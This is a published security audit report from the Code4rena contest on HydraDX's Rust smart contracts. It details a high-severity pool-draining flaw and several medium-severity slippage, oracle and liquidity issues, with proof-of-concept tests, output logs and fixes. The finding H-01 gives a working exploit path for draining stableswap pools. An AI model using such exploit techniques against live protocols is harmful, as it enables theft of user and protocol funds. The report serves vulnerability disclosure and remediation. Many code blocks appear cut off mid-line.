Introducing Code4rena Pro League: The elite tier of professional security researchers. **Learn more →**

HydraDX
Findings & Analysis Report

2024-04-10

Table of contents

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the HydraDX smart contract system written in Rust. The audit took place between February 2 — March 1, 2024.

Wardens

27 Wardens contributed reports to HydraDX:

1. J4X
2. castle_chain

3. bin2chen
4. carrotsmuggler
5. TheSchnilch
6. QiuhaoLi
7. 3docSec
8. oakcobalt
9. tsvetanovv
10. hunter_w3b
11. popeye
12. zhaojie
13. Franfran
14. ZanyBonzy
15. Aymen0909
16. erebus
17. emerald7017
18. DadeKuma
19. alix40
20. alkrrrrp
21. Ocean_Sky
22. peachtea
23. yongskiws
24. fouzantanveer
25. kaveyjoe
26. 0xSmartContract
27. ihtishamsudo

This audit was judged by Lambda.

Final report assembled by thebrittfactor.

Summary

The C4 analysis yielded an aggregated total of 11 unique vulnerabilities. Of these vulnerabilities, 1 received a risk rating in the category of HIGH severity and 10 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 18 reports detailing issues with a risk rating of LOW severity or non-critical.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 HydraDX repository, and is composed of 13 smart contracts written in the Rust programming language and includes 5273 lines of Rust code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic

- Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (1)

[H-01] An attacker possesses the capability to exhaust the entirety of liquidity within the stable swap pools by manipulating the buy function, specifically by setting the `asset_in` parameter equal to the `asset_out` parameter

Submitted by castle_chain*, also found by* bin2chen

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/stableswap/src/lib.rs#L787-L842
https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/math/src/stableswap/math.rs#L40-L41

Impact

This vulnerability has been identified in the Stableswap pallet that could potentially drain all liquidity from all pools without any permissions. This vulnerability can be exploited by malicious actors, resulting in significant financial losses for both the protocol and liquidity providers.

Proof of Concept

The vulnerability lies in the `buy()` function, which can be exploited by

setting `asset_in` to an asset already present in the pool and subsequently setting `asset_out` to the same asset. The function does not validate or prevent this input, allowing an attacker to receive the entire a `mount_out` without providing any corresponding `amount_in`.

Attack Flow:

1. The attacker calls the function `buy` and specifies the `asset_in` equal to `asset_out`, the function has no check that prevents this input to be passed.
2. The function will calculate the `amount_in` that should be taken out from the user, so the function will use `calculate_in_amount` function as shown here this function will call `calculate_in_given_out_with_fee()` function.

```
let (amount_in, fee_amount) = Sel
```

3. The function `calculate_in_given_out_with_fee` here will call the function `calculate_in_given_out` to calculate `amount_in`, and the final `amount_in` will be the amount calculated plus the fees, and the fees are calculated as the ratio of the `amount_in`.
4. **In the function `calculate_in_given_out`, since the `asset_in` is equal to `asset_out` then the `new_reserve_in` will be equal to the old reserve `reserves[idx_in]`. Therefore, the `amount_in`, which is the difference between the new and the old reserves, will be equal to zero** as shown here, and then the function will add 1 to the `amount_in`.

```
let new_reserve_in = calculate_y_given_out::<D, \
```

```
        let amount_in = new_reserve_in.checked_sub(reserv
        let amount_in = normalize_value(
                amount_in,
                TARGET_PRECISION,
                initial_reserves[idx_in].decimals,
                Rounding::Up,
        );
        Some(amount_in.saturating_add(1u128))
```

This will result in `amount_in = 1` and with the fee, it will be equal to `amount_in = 1.001`.

If the attacker set `amount_out = 100_000_000_000_000` he will take them and only pay `amount_in = 1.001`.

Coded POC to demonstrate the vulnerability

Consider add this test into the test file `trade.rs` here, and see the logs resulted from this test:

```
#[test]
fn test_set_asset_in_equal_asset_out_will_be_profitable()
        let asset_a: AssetId = 1;
        let asset_b: AssetId = 2;
        let dec_a: u8 = 18;
        let dec_b: u8 = 6;
        ExtBuilder::default()
                .with_endowed_accounts(vec![
                        (BOB, asset_a, to_precision!(200,
                        (ALICE, asset_a, to_precision!(20
                        (ALICE, asset_b, to_precision!(20
                ])
                .with_registered_asset("one".as_bytes().t
                .with_registered_asset("two".as_bytes().t
                .with_pool(
```

```
                ALICE,
                PoolInfo::<AssetId, u64> {
                        assets: vec![asset_a, ass
                        initial_amplification: Nc
                        final_amplification: Nonz
                        initial_block: 0,
                        final_block: 0,
                        fee: Permill::from_float(
                },
                InitialLiquidity {
                        account: ALICE,
                        assets: vec![
                                AssetAmount::new(
                                AssetAmount::new(
                        ],
                },
        )
        .build()
        .execute_with(|| {
                let pool_id = get_pool_id_at(0);
                let pool_account = pool_account(p
                let asset_a_state_before = Tokens

                let balance_before = Tokens::free
                for _ in 0..5 {
                        assert_ok!(Stableswap::bu
                                RuntimeOrigin::si
                                pool_id,
                                asset_a,
                                asset_a,
                                to_precision!(20,
                                to_precision!(31,
                        ));
                }
                let asset_a_state_after = Tokens:

                // the user here received the fee
                // 229_999_999_999_999_999_994
                let balance_after = Tokens::free_
```

```
                println!(
                        "pool balance of asset a
                        asset_a_state_before
                );
                println!("pool balance of asset a

                println!("balance of bob before t
                println!(" balance of asset a owr
                println!(" the amount of profit t
        });
}
```

The logs will be:

```
running 1 test
pool balance of asset a before the attack = 1000000000000
pool balance of asset a after the attack  = 28
balance of bob before the attack = 2000000000000000000000
 balance of asset a owned by bob after the attack =  2999
 the amount of profit for BOB: 99999999999999999972
```

As shown here, Bob can drain almost all the liquidity of `asset_a` in the pool, and he can repeat this attack to drain all the assets exists in all the pools.

Recommended Mitigation Steps

To mitigate this vulnerability, it is crucial to prevent the setting of `asset_in` equal to `asset_out` . This can be achieved by adding the following line to the `buy()` function:

```
        pub fn buy(
                origin: OriginFor<T>,
```

```
                        pool_id: T::AssetId,
                        asset_out: T::AssetId,
                        asset_in: T::AssetId,
                        amount_out: Balance,
                        max_sell_amount: Balance,
                ) -> DispatchResult {
                        let who = ensure_signed(origin)?;


+                        ensure!(
+                 asset_out != asset_in, Error::<T>::Inva
+                );
```

Integrating this check into the `buy()` function will effectively prevent attackers from draining liquidity from the pool.

Assessed type

Invalid Validation

enthusiastmartin (HydraDX) confirmed and commented:

> Nice one!

Medium Risk Findings (10)

[M-01] Users can MAKE EMA-Oracle price outdated with direct transfers to StableSwap

Submitted by J4X

The EMA oracle, designed to utilize HydraDX's Omnipools and StableSwap for exchange rate information, operates by monitoring activities within these

liquidity pools. It looks for specific operations like exchanges, deposits, and withdrawals to adjust the assets' exchange rates accordingly. This updating process is not continuous but occurs when the responsible hooks are called by the StableSwap/Omnipool.

The system, although thorough, does not account for price update triggers in the event of direct asset transfers to Stableswap, as these do not set off any hooks within the oracle. This lapse means that such direct transfers can alter asset prices within the liquidity pools without the oracle's knowledge, potentially leading to misleading exchange rates.

Moreover, there's a risk of manipulation by bad actors who might use direct transfers to StableSwap in an effort to sway the arbitrage process, especially during periods of network congestion. Such interference could unjustly prevent necessary liquidations within lending protocols.

Impact

The issue allows a malicious user to change the price of the AMM without updating the oracle.

Proof of Concept

The issue can be validated when looking at the runtime configuration. The configuration only restricts transfers to the Omnipool address, but not to the StableSwap address:

```
// filter transfers of LRNA and omnipool assets to the om
if let RuntimeCall::Tokens(orml_tokens::Call::transfer {
| RuntimeCall::Tokens(orml_tokens::Call::transfer_keep_al
| RuntimeCall::Tokens(orml_tokens::Call::transfer_all { d
| RuntimeCall::Currencies(pallet_currencies::Call::transf
{
        // Lookup::lookup() is not necessary thanks to Id
```

```
            if dest == &Omnipool::protocol_account() && (*cur
            {
                    return false;
            }
    }
    // filter transfers of HDX to the omnipool account
    if let RuntimeCall::Balances(pallet_balances::Call::trans
    | RuntimeCall::Balances(pallet_balances::Call::transfer_k
    | RuntimeCall::Balances(pallet_balances::Call::transfer_a
    | RuntimeCall::Currencies(pallet_currencies::Call::transf
    {
            // Lookup::lookup() is not necessary thanks to Id
            if dest == &Omnipool::protocol_account() {
                    return false;
            }
    }
```

Recommended Mitigation Steps

The issue can be mitigated by disabling transfers to the StableSwap pools, similar to how it is implemented for the Omnipool.

Assessed type

Oracle

enthusiastmartin (HydraDX) disputed and commented:

> We believe this is not an issue, impact is not obvious. Oracle is not guaranteed to be always correct.

Lambda (judge) decreased severity to Low and commented:

> The finding itself is valid, but only speculates about potential impacts ("potentially leading to misleading exchange rates."). Because of that, it is

> a design recommendation. Downgrading to Low.

J4X (warden) commented:

> @Lambda - Thank you very much for reviewing this audit. I am sorry that my issue was a bit inconclusive about the severity/results of this. The same impact (but for omnipool) has already been found in one of the earlier audits at Finding A1, this is why I kept my issue intentionally rather short, which was suboptimal in hindsight.

> The oracle should always return the current price of the assets at stableswap/omnipool. As identified in the other audit this could be broken for the Omnipool by transferring assets directly to the Omnipool, making the price outdated. This was confirmed as a medium severity finding by the sponsor and fixed by implementing guards that blocked any transfers of tokens directly to the Omnipool. Unfortunately, the team has forgotten to implement the same safety measures when the StableSwap AMM was added to the protocol. As a result of this, the attack path is once again possible for all assets listed on StableSwap.

> While I have not described an attack path that leads to an attacker profiting from this (which might be possible), the “attack” path of donating to make the oracle outdated, that I have described shows a way how the oracle becomes outdated which should never be the case. To keep it simple, this leads to one of the components of the protocol not functioning as intended (the oracle returning a wrong price) leading to the damage scenario of “Assets not at direct risk, but the function of the protocol impacted”.

> Additionally, finding #73 leads to the exact same damage scenario, the oracle returning an incorrect price for an asset and has been confirmed as medium severity.

Lambda (judge) commented:

> Keeping at QA because of missing impact/attack path. This might lead to problems in the protocol and be a valid medium or high then, but the issue does not demonstrate that.

> Issue #73 mentions a potential impact (third-party protocols) that has external requirements, but is still valid nevertheless.

J4X (warden) commented:

> @Lambda - I disagree with you differentiating between this issue and #73. They both result in the exact same state of the oracle returning an incorrect price for an asset.

> Additionally, you mention that #73 offers an impact while this one does not. The impact that #73 describes is “So any protocol that uses this oracle as a price source would receive an incorrect price for the re-added asset for a short period of time” which can be shortened down to “external protocols relying on this oracle might break”. My issue describes “Such interference could unjustly prevent necessary liquidations within lending protocols” which can also be shortened to “external protocols relying on this oracle might break too”. It is just more focused on lending protocols, as this is the first thing that came to mind for me.

Lambda (judge) increased severity to Medium and commented:

> That’s a good point, I previously missed the mention of integration with other protocols. Because a potential realistic impact with external requirements is mentioned and the finding itself is valid, I am upgrading it back to Medium.

[M-02] Malicious liquidity provider can put pool into highly manipulatable state

Submitted by J4X, also found by carrotsmuggler and 3docSec

The StableSwap AMM of the HydraDx protocol implements safeguards against low liquidity so that too high price fluctuations are prevented, and manipulating the price becomes harder. These safeguards are enforced based on the `MinPoolLiquidity` which is a constant that describes the minimum liquidity that should be in a pool. Additionally, a pool is allowed to have a liquidity of 0, which would occur in the case of the creation of the pool, or by users withdrawing all their liquidity. This could also be defined as an invariant.

```
totalPoolIssuance(poolId) >= MinPoolLiquidity ||
totalPoolIssuance(poolId) == 0.
```

When a user wants to withdraw his liquidity, he can use either the `remove_liquidity_one_asset()` function or the `withdraw_asset_amount()` function.

`remove_liquidity_one_asset()`:

To ensure holding the invariant 2 checks are implemented in the `remove_liquidity_one_asset()` function. The first checks if the user either leaves more than `MinPoolLiquidity` shares in the pool or withdraws all his shares:

```
    let current_share_balance = T::Currency::free_balance(poo

    ensure!(
            current_share_balance == share_amount
```

```
                || current_share_balance.saturating_sub(s
        Error::<T>::InsufficientShareBalance
    );
```

The second checks if the total liquidity in the pool would fall below the intended amount of shares:

```
    let share_issuance = T::Currency::total_issuance(pool_id)

    ensure!(
        share_issuance == share_amount
                || share_issuance.saturating_sub(share_am
        Error::<T>::InsufficientLiquidityRemaining
    );
```

These two checks work perfectly at holding the invariant at all times.

`withdraw_asset_amount()`:

Unfortunately, the second function for withdrawing liquidity `withdraw_asset_amount()` omits one of the checks. The function only checks if the user either withdraws all his shares or leaves more than the `MinPoolLiquidity` shares.

```
    let current_share_balance = T::Currency::free_balance(poo

    ensure!(
        current_share_balance == shares
                || current_share_balance.saturating_sub(s
        Error::<T>::InsufficientShareBalance
    );
```

One might state now that this could never break the invariant, as if every user's shares are either more than `MinPoolLiquidity` or zero, the total liquidity can never fall below `MinPoolLiquidity` without being 0. Unfortunately, this approach forgets that users can transfer their shares to other addresses. This allows a user to transfer an amount as low as 1 share to another address, and then withdraw all his shares. As the check would only ensure that he is withdrawing all his shares it would pass. If he was the only liquidity provider, there now would only be 1 share of liquidity left in the pool breaking the invariant of: `totalPoolIssuance(poolId) >= MinPoolLiquidity`.

Impact

The issue allows a user to break the invariant about the `MinPoolLiquidity` and either push the pool into a state where it can easily be manipulated, or prevent other users from withdrawing their shares.

Proof of Concept

There are 2 ways how this could be exploited:

1. Breaking the invariant and letting the pool Liquidity fall below `MinPoolLiquidity`

A malicious LP could abuse this functionality to push the pool into a state where its total liquidity is below `MinPoolLiquidity`, and could be as low as 1 share, allowing for easy price manipulation. To achieve this the attacker would do the following:

1. User deposits `MinPoolLiquidty` using one of the functions.
2. User transfers 1 share to another address controlled by him (so he does not lose any value).

3. User withdraws all his shares using `withdraw_asset_amount()`.
4. The function will pass as it does not check the whole pool liquidity.
5. The pool now only has 1 share of liquidity inside and can easily be manipulated.

2. DOSing withdrawing through `remove_liquidity_one_asset` for others

Let's consider a case where there are only 2 liquidity providers and one of them is malicious and wants to prevent the other from withdrawing through `remove_liquidity_one_asset()`. This could for example be the case if the other is a smart contract, that can only withdraw through this function.

1. Both deposit `MinPoolLiquidty`.
2. Malicious user transfers 1 share to another address controlled by him (so he does not lose any value).
3. Malicious user withdraws all his liquidity using `withdraw_asset_amount()`.
4. Normal user now tries to withdraw all of his liquidity using `remove_liquidity_one_asset()`.
5. The call fails as the total pool liquidity (which is checked in this one) would fall below `MinPoolLiquidty`.
6. The user is forced to keep his liquidity in the pool until someone else adds liquidity.

Recommended Mitigation Steps

The issue can be mitigated by also adding a check for the total pool liquidity to `withdraw_asset_amount()`:

```
let share_issuance = T::Currency::total_issuance(pool_id)

ensure!(
        share_issuance == share_amount
                || share_issuance.saturating_sub(share_am
        Error::<T>::InsufficientLiquidityRemaining
);
```

enthusiastmartin (HydraDX) confirmed, but disagreed with severity and commented:

> Although the check is missing,the issue is not high risk. Any limit that we have in our AMM are soft limits, meaning it is designed to protect mainly users, they don't have to be always respected.

> There is no evidence that the state of pool would be exploitable.

Lambda (judge) commented:

> The warden identified how a security limit can be circumvented in some rare edge cases and how this could lead to a temporary DoS, Medium is appropriate here.

castle_chain (warden) commented:

> @Lambda - I believe the severity of this issue should be reconsidered due to the impact it has:

> This issue will not lead to a DoS or a lock of funds, as the liquidity provider can withdraw all their liquidity by calling the function `withdraw_asset_amount()` instead of `remove_liquidity_one_asset`, which encounters an issue with the limit of minimum liquidity. Thus, the user can simply withdraw all their liquidity in the same manner the

> attacker has, since the function `withdraw_asset_amount()` does not check for a minimum limit of shares remaining in the pool. Therefore, there is no risk of funds being locked or DoS for the liquidity providers.

> The report mentioned that:

3. A malicious user withdraws all their liquidity using `withdraw_asset_amount()`.
4. A normal user then tries to withdraw all of their liquidity using `remove_liquidity_one_asset()`.

> Here, the normal user can use the function `withdraw_asset_amount()` instead of `remove_liquidity_one_asset()`, and the entire liquidity removal will be completed.

> Therefore, the only impact of this issue is allowing dust accounts to exist in the pool without any other impact, which should not be considered a medium severity issue.

[J4X (warden) commented]():

> @castle*chain - you are correct that the user could use `remove*liquidity*one*asset()` to withdraw his shares, but this would require him to abuse the same issue as the malicious user.

1. DOS

> Regarding the DOS, this issue still leads to a DOS on one of the functions of the protocol, which suffices medium, as per the severity guidelines Med requires “Assets not at direct risk, but the function of the protocol or its availability could be impacted”. In this case, the function of `remove_liquidity_one_asset()` is clearly impacted and not usable. I mentioned in my issue that the user could be a contract, which is

> programmed to interact through the `remove_liquidity_one_asset()` function. As a lot of the interactions with an AMM are actually contracts and not EOA, this is a very usual case. The contract can't be changed later on so it would never be able to withdraw its shares again, although being 100% correctly programmed.

2. Broken Invariant

> From the code, one can see that the intended invariant for the liquidity in a pool is `sharesInPool == 0 || sharesInPool >= MinPoolLiquidty`. This is done so that pools with very low liquidity can't exist as they can easily be manipulated, which a lot of other AMMs do too. The sponsor described this as "to protect mainly the users" in the comment above. This issue shows in "1. Breaking the invariant and letting the pool Liquidity fall below MinPoolLiquidity" how this invariant can be broken so that the pool is easily manipulatable. How this should be graded can be seen in the Supreme Court decisions:

```
High - A core invariant of the protocol can be broken for

Medium - A non-core invariant of the protocol can be brok
```

3. Conclusion

> So in total, the issue leads to 2 impacts, which both would be (at least) of medium severity:

1. DOS of the `remove_liquidity_one_asset()` function.
2. Breaking of the Pool liquidity invariant.

[M-03] No slippage check in `remove_liquidity`

function in omnipool can lead to slippage losses during liquidity withdrawal.

Submitted by carrotsmuggler, also found by carrotsmuggler (1, 2), erebus, QiuhaoLi, Aymen0909, zhaojie, oakcobalt (1, 2), emerald7017, DadeKuma, Franfran, J4X (1, 2, 3), 3docSec, and ZanyBonzy

The liquidity removal function in the `omnipool` pallet lacks slippage control. There is no `minimum_amount_out` parameter to ensure that the user gets out at least a certain amount of tokens. This can lead to slippage losses for liquidity providers if malicious users frontrun the liquidity withdrawer.

During liquidity removal, since there are lots of different fees involved, the scenario gets complicated and a POC is used to study the effect further. A POC is presented in the next section, which has ALICE depositing LP of `token_1000` to the pool, the actor LP3 carrying out a swap, and then ALICE removing liquidity immediately after. In case ALICE receives any LRNA tokens, she swaps them out to `token_1000`. We compare the amount of `token_1000` ALICE would end up with in different scenarios.

In all scenarios, ALICE is assumed to remove liquidity at the same price she put in. However the bad actor LP3 frontruns her removal, and we want to study the effect of her losses. In scenario 1, there is no action by LP3, and ALICE deposits and withdraws, to get a baseline measurement.

Scenario 1 - `Liq Add - Liq remove`**:**

Here, there is no frontrunner in order to get a baseline measurement:

```
running 1 test
lrna_init: 2000000000000000
token_init: 5000000000000000
```

```
lrna_add: 2000000000000000
token_add: 4000000000000000

lrna_remove: 2000000000000000
token_remove: 4990000000000000
```

We can see ALICE started with `5000*ONE token_1000` s, and ends up with `4990*ONE token_1000` s. This is due to withdrawal fees, and is the acceptable baseline. Any lower amounts due to frontrunning would be unacceptable. This is a 0.1% loss.

Scenario 2 - `Liq Add - token->DAI swap - Liq remove:`

Here, the frontrunner devalues `token_1000` by selling a bunch of it for DAI. Since the price is now lower, some of Alice's shares will be burnt:

```
running 1 test
lrna_init: 2000000000000000
token_init: 5000000000000000

lrna_add: 2000000000000000
token_add: 4000000000000000

lrna_remove: 2000000000000000
token_remove: 4961892744479493
```

In this scenario, ALICE ends up with `4961.89*ONE token_1000` s. This is nearly a 1% loss. Since some of her share tokens are burnt, the other liquidity providers profit from this, since their liquidity positions are now worth more.

Scenario 3 - `Liq Add - DAI->token swap - Liq remove:`

Here, the frontrunner buys up `token_1000` increasing its price. Alice gets minted LRNA tokens to compensate the increase in price, but she swaps them out to `token_1000` immediately. We then check her `token_1000` balance and compare it to the beginning:

```
running 1 test
lrna_init: 2000000000000000
token_init: 5000000000000000

lrna_add: 2000000000000000
token_add: 4000000000000000

lrna_remove: 2187637667548876
token_remove: 4841500000000000

lrna_end: 2000000000000000
token_end: 4958579804661321
```

Here ALICE ends up with `4958.57*ONE token_1000` s. This is again a 1% loss. The frontrunner can even sandwich the `LRNA->token_1000` swap and even profit in this scenario.

Thus in all frontrunning scenarios, ALICE realizes a slippage loss due to insufficient parameters. The losses will be capped to 2%, since the `ensure_price` check in the `remove_liquidity` function checks if the price of the asset has not changed by more than 1% from the oracle price. Thus, the maximum price deviation that can happen is 2% (if the spot price was changed from +1% to -1%). 2% slippage is already unacceptable for a number of cases, since the industry standard for swaps has been 0.5%, and even lower for liquidity removals.

Proof of Concept

The following test was run to generate the figures above. For the different scenarios, the `buy` was commented (scenario 1), used to `swap token->DAI` (scenario 2), and used to `swap DAI->token` (scenario 3).

▶ Details

Tools Used

Substrate

Recommended Mitigation Steps

Add a slippage limit for liquidity removal. The in-built limit of 2% is too large for most use cases.

Assessed type

MEV

enthusiastmartin (HydraDX) confirmed, but disagreed with severity via duplicate issue #158

Lambda (judge) commented via duplicate issue #158:

> Valid medium because there is a hypothetical path to leak values and in-line with other audits where missing slippage checks were medium.

[M-04] Complete liquidity removals fail from stableswap pools

Submitted by carrotsmuggler*, also found by* QiuhaoLi *and* J4X

https://github.com/code-423n4/2024-02-hydradx/

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/stableswap/src/lib.rs#L638
https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/stableswap/src/lib.rs#L551

Impact

The contracts for stableswap has 2 functions dealing with removal of liquidity: `remove_liquidity_one_asset` and `withdraw_asset_amount`. However, both these functions allow redeeming LP tokens and payout in only one token. Critically, this contract is missing Curve protocol's `remove_liquidity` function, which allows redeeming LP tokens for all the different tokens in the pool.

The result of this decision is that when the complete liquidity of a pool is to be removed, the contract reverts with an arithmetic overflow. In curve protocol, when removing the complete liquidity, the composing tokens are removed from the pool. However, they also need to be converted to a single token, using a liquidity that won't exist anymore. This leads to an issue somewhere in the mathematics of the curve liquidity calculation, and thus reverts.

Proof of Concept

A simple POC to remove the complete liquidity is coded up below. This POC reverts when the entire amount of shares is being redeemed.

```
#[test]
fn test_Attack_min_shares() {
        let asset_a: AssetId = 1;
        let asset_b: AssetId = 2;
        let asset_c: AssetId = 3;
```

```
ExtBuilder::default()
        .with_endowed_accounts(vec![
                (BOB, asset_a, 2*ONE),
                (ALICE, asset_a, 1*ONE),
                (ALICE, asset_b, 1*ONE),
                (ALICE, asset_c, 1*ONE),
        ])
        .with_registered_asset("one".as_bytes().t
        .with_registered_asset("two".as_bytes().t
        .with_registered_asset("three".as_bytes()
        .with_pool(
                ALICE,
                PoolInfo::<AssetId, u64> {
                        assets: vec![asset_a, ass
                        initial_amplification: Nc
                        final_amplification: Nonz
                        initial_block: 0,
                        final_block: 0,
                        fee: Permill::zero(),
                },
                InitialLiquidity {
                        account: ALICE,
                        assets: vec![
                                AssetAmount::new(
                                AssetAmount::new(
                                AssetAmount::new(
                        ],
                },
        )
        .build()
        .execute_with(|| {
                let pool_id = get_pool_id_at(0);

                let received = Tokens::free_balar
    println!("LP tokens received: {}", received);


    assert_ok!(Stableswap::remove_liquidity_one_a
        RuntimeOrigin::signed(ALICE),
```

```
                pool_id,
                asset_a,
                received,
                0
            ));

            let asset_a_remliq_bal = Tokens::free_balance
            println!("asset a rem: {}", asset_a_remliq_ba
                });
}
```

Here ALICE adds liquidity, and is trying to redeem all her LP tokens. This reverts with the following:

```
running 1 test
LP tokens received: 23786876415280195891619
thread 'tests::add_liquidity::test_Attack_min_shares' par
    Arithmetic(
        Overflow,
    ),
)', pallets/stableswap/src/tests/add_liquidity.rs:889:13
note: run with `RUST_BACKTRACE=1` environment variable to
test tests::add_liquidity::test_Attack_min_shares ... FAI
```

This is because the internal math of the stableswap algorithm fails when there is no more liquidity.

Tools Used

Substrate

Recommended Mitigation Steps

Allow multi-token liquidity withdrawal, which would allow complete redeeming of all LP tokens.

Assessed type

Under/Overflow

enthusiastmartin (HydraDX) disputed and commented:

> It is not issue and it is by design, as we don't need the multi-token withdrawal functionality.

Lambda (judge) commented:

> The warden demonstrated that the initial liquidity cannot be removed from the system because of an overflow. This can lead to (temporary) locked funds in edge cases, so Medium is appropriate here.

[M-05] No `safe_withdrawal` option in `withdraw_protocol_liquidity` function in omnipool can be abused by frontrunners to cause losses to the admin when removing liquidity

Submitted by carrotsmuggler, also found by QiuhaoLi

The `sacrifice_position` function can be used by any liquidity provider to hand over their liquidity position to the protocol. The protocol can then choose to remove this liquidity via the `withdraw_protocol_liquidity` function. This is similar to the `remove_liquidity` function, but with one key difference. The `remove_liquidity` function has a `safe_withdrawal` option, where if trading is ongoing, the price difference is limited to 1% via the `ensure_price` function. This is not present in the `withdraw_protocol_liquidity` function.

```
// remove_liquidity
if !safe_withdrawal {
        T::PriceBarrier::ensure_price(
            &who,
            T::HubAssetId::get(),
            asset_id,
            EmaPrice::new(asset_state.hub_reserve, asset_
        )
        .map_err(|_| Error::<T>::PriceDifferenceTooHigh)?
    }
```

Thus when the admin decides to call `withdraw_protocol_liquidity` to remove the liquidity, they can be frontrun to eat slippage loss. The admin has to pass in a `price` parameter, and if the frontrunner manipulates the spot price to be different from the price passed in, the admin will eat losses. A deeper dive and simulation of losses has been done in another issue titled `No slippage check in remove_liquidity function in omnipool can lead to slippage losses during liquidity withdrawal` where the losses are limited to 2% due to the `ensure_price` check. However, the losses here can be much higher due to the lack of this check altogether.

Since higher losses can be possible, this is a high severity issue.

Proof of Concept

The `ensure_price` check is missing from the `withdraw_protocol_liquidity` function.

Tools Used

Substrate

Recommended Mitigation Steps

Add a `safe_withdrawal` parameter, or add a `minimum_out` parameter to limit slippage losses.

Assessed type

MEV

enthusiastmartin (HydraDX) confirmed, but disagreed with severity and commented:

> This action is usually performed when trading is paused, it is not permissionless call.

> Definitely not high risk, not even medium.

Lambda (judge) decreased severity to Medium and commented:

> Medium is more appropriate for missing slippage protection, even if the potential slippage can be larger here. According to the sponsor, the function will usually not be used when trading is enabled. However, this is not enforced, so the issue itself is still valid.

[M-06] complete liquidity removal will result in permanent disable of the liquidity addition and prevent minting shares for the liquidity providers.

Submitted by castle_chain

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/omnipool/src/lib.rs#L612-L621

Impact

This vulnerability will lead to prevent any liquidity provider from adding liquidity and prevent them from minting new shares; so this is considered a huge loss of funds for the users and the protocol.

1. No New Liquidity - Users can no longer add liquidity to the pool, hindering its growth and potential.
2. Complete liquidity removal shuts down the pool, preventing any future activity.
3. Financial losses for the protocol - It loses the benefits of increased liquidity and potential fees from user activity.

Proof of Concept

Adding a new token to the omnipool requires an initial liquidity deposit. This initial deposit mints the first batch of shares. Subsequent liquidity additions mint new shares proportionally to the existing total shares, ensuring a fair distribution based on the pool's current size.

In the function `remove_liquidity` it is allowed to remove all amount of liquidity from the pool, which means burning all amount of the shares from the pool, as shown here.

```
let state_changes = hydra_dx_math
        &(&asset_state).into(),
        amount,
        &(&position).into(),
        I129 {
                value: current_in
                negative: current
        },
        current_hub_asset_liquidi
        withdrawal_fee,
```

```
        )
        .ok_or(ArithmeticError::Overflow)

        let new_asset_state = asset_state
                .clone()
                .delta_update(&state_char
                .ok_or(ArithmeticError::(
```

The function `calculate_remove_liquidity_state_changes` calculates the shares to be burnt and the `delta_update` function removes them.

If all liquidity shares have been removed from any pool, protocol shares and user shares are removed, making the `asset_reserve` equal to zero and `shares` equal to zero, which will prevent any liquidity from been added because the function `add_liquidity` does not handle the situation where there is no liquidity in the pool. As shown in the `add_liquidity` function, it calls `calculate_add_liquidity_state_changes` which calculates the shares to be minted to the LP as shown here.

```
let delta_shares_hp = shares_hp
        .checked_mul(amount_hp)
        .and_then(|v| v.checked_div(reserve_hp))?
```

The state of the pool after all liquidity have been removed `asset_reserve = 0`, `shares = 0`. Since there is no liquidity in the pool so the `reserve_hp` will be equal to zero, so this part will always return error, so this function will always revert.

Even if any user donates some assets to prevent this function from reverting, the liquidity provider will always receive zero shares, since the `delta_shares_hp` will always equal to zero, which is considered loss of

funds for the user and the protocol.

The bad state that will cause this vulnerability:
Token has been added to the pool but all liquidity has been removed from it.

Coded Poc

Consider adding this test in `remove_liquidity.rs` test file, and then run it to see the logs:

```
#[test]
fn full_liquidity_removal_then_add_liquidity() {
        ExtBuilder::default()
                .with_endowed_accounts(vec![
                        (Omnipool::protocol_account(), DA
                        (Omnipool::protocol_account(), HD
                        (LP2, 1_000, 2000 * ONE),
                        (LP1, 1_000, 5000 * ONE),
                ])
                .with_initial_pool(FixedU128::from_float(
                .with_token(1_000, FixedU128::from_float(
                .build()
                .execute_with(|| {
                        // let token_amount = 2000 * ONE;

                        let liq_added = 400 * ONE;
                        let lp1_position_id = <NextPositi
                        assert_ok!(Omnipool::add_liquidit

                        let liq_removed = 400 * ONE;
                        println!(
                                "asset state before liqui
                                Omnipool::load_asset_stat
                        );

                        assert_ok!(Omnipool::remove_liqui
```

```
                RuntimeOrigin::signed(LP1
                lp1_position_id,
                liq_removed
            ));

            assert!(
                Positions::<Test>::get(lp
                "Position still found"
            );
            assert!(
                get_mock_minted_position(
                "Position instance was no
            );
            let pos = Positions::<Test>::get(
            println!(" the lp2_position befor
            // lp2 remove his all initial lic
            assert_ok!(Omnipool::remove_liqui
            let lp2_position = lp1_position_i

            assert!(Positions::<Test>::get(lp

            println!(
                "the final state after al
                Omnipool::load_asset_stat
            );
            let liq_added = 400 * ONE;
            assert_noop!(
                Omnipool::add_liquidity(R
                ArithmeticError::Overflow
            );
            // this makes sure that there is
            assert!(Positions::<Test>::get(lp

            println!(
                "the new state after liqu
                Omnipool::load_asset_stat
            );
        });
}
```

The logs will be:

```
running 1 test
asset state before liquidity removal AssetReserveState {
 the lp2_position before all liquidity removal: Position
the final state after all liquidity has been removed: Ass
the new state after liquidity provision reverted: AssetRe
```

This illustrates that the `add_liquidity` function failed after `lp2` and `lp1` removed their entire liquidity from the pool.

Tools Used

VS Code

Recommended Mitigation Steps

Add a special behaviour to the function `add_liquidity` to handle the situation of no initial liquidity. The mitigation can be done by:

- When the pool initially has no shares (total shares equal zero), newly added assets from a liquidity provider trigger the minting of shares in an amount equal to the added asset value

